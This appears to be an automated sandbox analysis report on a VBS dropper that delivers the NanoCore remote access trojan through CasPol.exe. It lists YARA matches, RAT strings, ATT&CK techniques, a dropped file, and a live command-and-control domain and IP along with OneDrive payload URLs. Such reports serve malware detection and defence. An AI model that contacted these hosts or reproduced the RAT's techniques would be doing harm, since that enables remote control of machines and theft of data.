Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 10_2_089EAD24 CreateNamedPipeW,

10_2_089EAD24

Stealing of Sensitive Information

Yara detected Nanocore RAT

Source: Yara match	File source: 37.2.CasPol.exe.1f1eeadc.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.CasPol.exe.1f19eadc.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.CasPol.exe.1f1a3105.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.CasPol.exe.1f1f3105.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.CasPol.exe.1f19eadc.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.CasPol.exe.1f1e9ca6.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.CasPol.exe.1f199ca6.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.CasPol.exe.1f1eeadc.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000022.00000002.268467219270.000000001E151000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.268467630247.000000001F151000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.268476945395.000000001E1A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.268477360466.000000001F1A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 3064, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 7664, type: MEMORYSTR

Remote Access Functionality

Detected Nanocore Rat

Source: CasPol.exe, 00000022.00000002.268467219270.000000001E151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: NanoCore.ClientPluginHost
Source: CasPol.exe, 00000022.00000002.268467219270.000000001E151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: <Module>mscorlibMicrosoft.VisualBasicMyApplicationNanoCore.MyMyComputerMyProjectMyWebServicesThreadSafeObjectProvider`1IClientNetworkNanoCore.ClientPluginIClientDataIClientAppIClientDataHostNanoCore.ClientPluginHostIClientNetworkHostIClientUIHostIClientLoggingHostIClientAppHostIClientNameObjectCollectionNanoCoreIClientReadOnlyNameObjectCollectionClientInvokeDelegateMicrosoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceReadPacketpipeNameparamsPipeCreatedPipeClosedConnectionStateChangedconnectedConnectionFailedhostportBuildingHostCacheVariableChangednameClientSettingChangedPluginUninstallingClientUninstallingget_Variablesget_ClientSettingsget_BuilderSettingsVariablesClientSettingsBuilderSettingsget_ConnectedClosePipePipeExistsRebuildHostCacheAddHostEntryDisconnectSendToServercompressConnectedInvokemethodstateLogClientMessagemessageExceptionLogClientExceptionexsiteRestartShutdownDisableProtectionRestoreProtectionUninstallEntryExistsSystem.Collections.GenericKeyValuePair`2GetEntriesGetValuedefaultValueSetValuevalueRemoveValueMulticastDelegateTargetObjectTargetMethodIAsyncResultAsyncCallbackBeginInvokeDelegateCallbackDelegateAsyncStateEndInvokeDelegateAsyncResultSystem.ComponentModelEditorBrowsableAttributeEditorBrowsableStateSystem.CodeDom.CompilerGeneratedCodeAttributeSystem.DiagnosticsDebuggerHiddenAttributeMicrosoft.VisualBasic.CompilerServicesStandardModuleAttributeHideModuleNameAttributeSystem.ComponentModel.DesignHelpKeywordAttributeSystem.Runtime.CompilerServicesRuntimeHelpersGetObjectValueRuntimeTypeHandleGetTypeFromHandleActivatorCreateInstanceMyGroupCollectionAttributeget_Valueset_ValueSystem.Runtime.InteropServicesComVisibleAttributeParamArrayAttributeCompilationRelaxationsAttributeRuntimeCompatibilityAttributeSystem.ReflectionAssemblyFileVersionAttributeGuidAttributeAssemblyTrademarkAttributeAssemblyCopyrightAttributeAssemblyProductAttributeAssemblyCompanyAttributeAssemblyDescriptionAttributeAssemblyTitleAttributeClientPluginClientPlugin.dll
Source: CasPol.exe, 00000022.00000002.268467630247.000000001F151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: NanoCore.ClientPluginHost
Source: CasPol.exe, 00000022.00000002.268467630247.000000001F151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: <Module>mscorlibMicrosoft.VisualBasicMyApplicationNanoCore.MyMyComputerMyProjectMyWebServicesThreadSafeObjectProvider`1IClientNetworkNanoCore.ClientPluginIClientDataIClientAppIClientDataHostNanoCore.ClientPluginHostIClientNetworkHostIClientUIHostIClientLoggingHostIClientAppHostIClientNameObjectCollectionNanoCoreIClientReadOnlyNameObjectCollectionClientInvokeDelegateMicrosoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceReadPacketpipeNameparamsPipeCreatedPipeClosedConnectionStateChangedconnectedConnectionFailedhostportBuildingHostCacheVariableChangednameClientSettingChangedPluginUninstallingClientUninstallingget_Variablesget_ClientSettingsget_BuilderSettingsVariablesClientSettingsBuilderSettingsget_ConnectedClosePipePipeExistsRebuildHostCacheAddHostEntryDisconnectSendToServercompressConnectedInvokemethodstateLogClientMessagemessageExceptionLogClientExceptionexsiteRestartShutdownDisableProtectionRestoreProtectionUninstallEntryExistsSystem.Collections.GenericKeyValuePair`2GetEntriesGetValuedefaultValueSetValuevalueRemoveValueMulticastDelegateTargetObjectTargetMethodIAsyncResultAsyncCallbackBeginInvokeDelegateCallbackDelegateAsyncStateEndInvokeDelegateAsyncResultSystem.ComponentModelEditorBrowsableAttributeEditorBrowsableStateSystem.CodeDom.CompilerGeneratedCodeAttributeSystem.DiagnosticsDebuggerHiddenAttributeMicrosoft.VisualBasic.CompilerServicesStandardModuleAttributeHideModuleNameAttributeSystem.ComponentModel.DesignHelpKeywordAttributeSystem.Runtime.CompilerServicesRuntimeHelpersGetObjectValueRuntimeTypeHandleGetTypeFromHandleActivatorCreateInstanceMyGroupCollectionAttributeget_Valueset_ValueSystem.Runtime.InteropServicesComVisibleAttributeParamArrayAttributeCompilationRelaxationsAttributeRuntimeCompatibilityAttributeSystem.ReflectionAssemblyFileVersionAttributeGuidAttributeAssemblyTrademarkAttributeAssemblyCopyrightAttributeAssemblyProductAttributeAssemblyCompanyAttributeAssemblyDescriptionAttributeAssemblyTitleAttributeClientPluginClientPlugin.dll
Source: CasPol.exe, 00000025.00000002.268476945395.000000001E1A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: NanoCore.ClientPluginHost
Source: CasPol.exe, 00000025.00000002.268476945395.000000001E1A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: <Module>mscorlibMicrosoft.VisualBasicMyApplicationNanoCore.MyMyComputerMyProjectMyWebServicesThreadSafeObjectProvider`1IClientNetworkNanoCore.ClientPluginIClientDataIClientAppIClientDataHostNanoCore.ClientPluginHostIClientNetworkHostIClientUIHostIClientLoggingHostIClientAppHostIClientNameObjectCollectionNanoCoreIClientReadOnlyNameObjectCollectionClientInvokeDelegateMicrosoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceReadPacketpipeNameparamsPipeCreatedPipeClosedConnectionStateChangedconnectedConnectionFailedhostportBuildingHostCacheVariableChangednameClientSettingChangedPluginUninstallingClientUninstallingget_Variablesget_ClientSettingsget_BuilderSettingsVariablesClientSettingsBuilderSettingsget_ConnectedClosePipePipeExistsRebuildHostCacheAddHostEntryDisconnectSendToServercompressConnectedInvokemethodstateLogClientMessagemessageExceptionLogClientExceptionexsiteRestartShutdownDisableProtectionRestoreProtectionUninstallEntryExistsSystem.Collections.GenericKeyValuePair`2GetEntriesGetValuedefaultValueSetValuevalueRemoveValueMulticastDelegateTargetObjectTargetMethodIAsyncResultAsyncCallbackBeginInvokeDelegateCallbackDelegateAsyncStateEndInvokeDelegateAsyncResultSystem.ComponentModelEditorBrowsableAttributeEditorBrowsableStateSystem.CodeDom.CompilerGeneratedCodeAttributeSystem.DiagnosticsDebuggerHiddenAttributeMicrosoft.VisualBasic.CompilerServicesStandardModuleAttributeHideModuleNameAttributeSystem.ComponentModel.DesignHelpKeywordAttributeSystem.Runtime.CompilerServicesRuntimeHelpersGetObjectValueRuntimeTypeHandleGetTypeFromHandleActivatorCreateInstanceMyGroupCollectionAttributeget_Valueset_ValueSystem.Runtime.InteropServicesComVisibleAttributeParamArrayAttributeCompilationRelaxationsAttributeRuntimeCompatibilityAttributeSystem.ReflectionAssemblyFileVersionAttributeGuidAttributeAssemblyTrademarkAttributeAssemblyCopyrightAttributeAssemblyProductAttributeAssemblyCompanyAttributeAssemblyDescriptionAttributeAssemblyTitleAttributeClientPluginClientPlugin.dll
Source: CasPol.exe, 00000025.00000002.268477360466.000000001F1A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: NanoCore.ClientPluginHost
Source: CasPol.exe, 00000025.00000002.268477360466.000000001F1A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: <Module>mscorlibMicrosoft.VisualBasicMyApplicationNanoCore.MyMyComputerMyProjectMyWebServicesThreadSafeObjectProvider`1IClientNetworkNanoCore.ClientPluginIClientDataIClientAppIClientDataHostNanoCore.ClientPluginHostIClientNetworkHostIClientUIHostIClientLoggingHostIClientAppHostIClientNameObjectCollectionNanoCoreIClientReadOnlyNameObjectCollectionClientInvokeDelegateMicrosoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceReadPacketpipeNameparamsPipeCreatedPipeClosedConnectionStateChangedconnectedConnectionFailedhostportBuildingHostCacheVariableChangednameClientSettingChangedPluginUninstallingClientUninstallingget_Variablesget_ClientSettingsget_BuilderSettingsVariablesClientSettingsBuilderSettingsget_ConnectedClosePipePipeExistsRebuildHostCacheAddHostEntryDisconnectSendToServercompressConnectedInvokemethodstateLogClientMessagemessageExceptionLogClientExceptionexsiteRestartShutdownDisableProtectionRestoreProtectionUninstallEntryExistsSystem.Collections.GenericKeyValuePair`2GetEntriesGetValuedefaultValueSetValuevalueRemoveValueMulticastDelegateTargetObjectTargetMethodIAsyncResultAsyncCallbackBeginInvokeDelegateCallbackDelegateAsyncStateEndInvokeDelegateAsyncResultSystem.ComponentModelEditorBrowsableAttributeEditorBrowsableStateSystem.CodeDom.CompilerGeneratedCodeAttributeSystem.DiagnosticsDebuggerHiddenAttributeMicrosoft.VisualBasic.CompilerServicesStandardModuleAttributeHideModuleNameAttributeSystem.ComponentModel.DesignHelpKeywordAttributeSystem.Runtime.CompilerServicesRuntimeHelpersGetObjectValueRuntimeTypeHandleGetTypeFromHandleActivatorCreateInstanceMyGroupCollectionAttributeget_Valueset_ValueSystem.Runtime.InteropServicesComVisibleAttributeParamArrayAttributeCompilationRelaxationsAttributeRuntimeCompatibilityAttributeSystem.ReflectionAssemblyFileVersionAttributeGuidAttributeAssemblyTrademarkAttributeAssemblyCopyrightAttributeAssemblyProductAttributeAssemblyCompanyAttributeAssemblyDescriptionAttributeAssemblyTitleAttributeClientPluginClientPlugin.dll

Yara detected Nanocore RAT

Source: Yara match	File source: 37.2.CasPol.exe.1f1eeadc.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.CasPol.exe.1f19eadc.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.CasPol.exe.1f1a3105.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.CasPol.exe.1f1f3105.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.CasPol.exe.1f19eadc.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.CasPol.exe.1f1e9ca6.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.CasPol.exe.1f199ca6.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.CasPol.exe.1f1eeadc.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000022.00000002.268467219270.000000001E151000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.268467630247.000000001F151000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.268476945395.000000001E1A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.268477360466.000000001F1A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 3064, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 7664, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	11 Command and Scripting Interpreter	31 Registry Run Keys / Startup Folder	13 Process Injection	1 Masquerading	11 Input Capture	1 Query Registry	Remote Services	11 Input Capture	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	321 Scripting	1 DLL Side-Loading	31 Registry Run Keys / Startup Folder	1 Disable or Modify Tools	LSASS Memory	311 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	Exfiltration Over Bluetooth	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	3 PowerShell	Logon Script (Windows)	1 DLL Side-Loading	231 Virtualization/Sandbox Evasion	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Remote Access Software	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	13 Process Injection	NTDS	231 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Scheduled Transfer	1 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Data Transfer Size Limits	21 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	321 Scripting	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Hidden Files and Directories	DCSync	13 System Information Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	2 Obfuscated Files or Information	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 DLL Side-Loading	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
IMG 0045434.vbs	2%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	0%	Metadefender		Browse
C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://pesterbdd.com/images/Pester.png	4%	Virustotal		Browse
http://pesterbdd.com/images/Pester.png	100%	Avira URL Cloud	malware
http://microsoft.co	0%	Virustotal		Browse
http://microsoft.co	0%	Avira URL Cloud	safe
https://go.micro	0%	Avira URL Cloud	safe
https://contoso.com/License	0%	Avira URL Cloud	safe
https://contoso.com/Icon	0%	Avira URL Cloud	safe
http://crl.m	0%	Avira URL Cloud	safe
https://contoso.com/	0%	Avira URL Cloud	safe
tochukwu1122.ddns.net	0%	Avira URL Cloud	safe
127.0.0.1	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
tochukwu1122.ddns.net	185.140.53.143	true	true	unknown
onedrive.live.com	unknown	unknown	false	high
kadnjg.bn.files.1drv.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://onedrive.live.com/download?cidO	false		high
tochukwu1122.ddns.net	true	Avira URL Cloud: safe	unknown
127.0.0.1	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://kadnjg.bn.files.1drv.com/N	CasPol.exe, 00000025.00000002.268401907263.000000000122D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://kadnjg.bn.files.1drv.com/&.	CasPol.exe, 00000010.00000003.266840482525.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266551551961.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266562042776.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267134796205.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267399589907.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267057712404.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266971022965.00000000016CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://kadnjg.bn.files.1drv.com/y4m624plfyYIXAWdtfrz_bfoDWfcwPUj5QFno4RLBcRH3SrJIxCwmlV2VAmgwJvM6c3	CasPol.exe, 00000010.00000003.266562538409.0000000001711000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266562042776.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000025.00000003.268320218693.00000000012A1000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000025.00000003.268319359560.0000000001285000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000025.00000002.268402634074.0000000001275000.00000004.00000020.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 0000000A.00000002.266604273172.000000000641A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://kadnjg.bn.files.1drv.com/P	CasPol.exe, 00000010.00000003.266551551961.00000000016CC000.00000004.00000020.00020000.00000000.sdmp	false		high
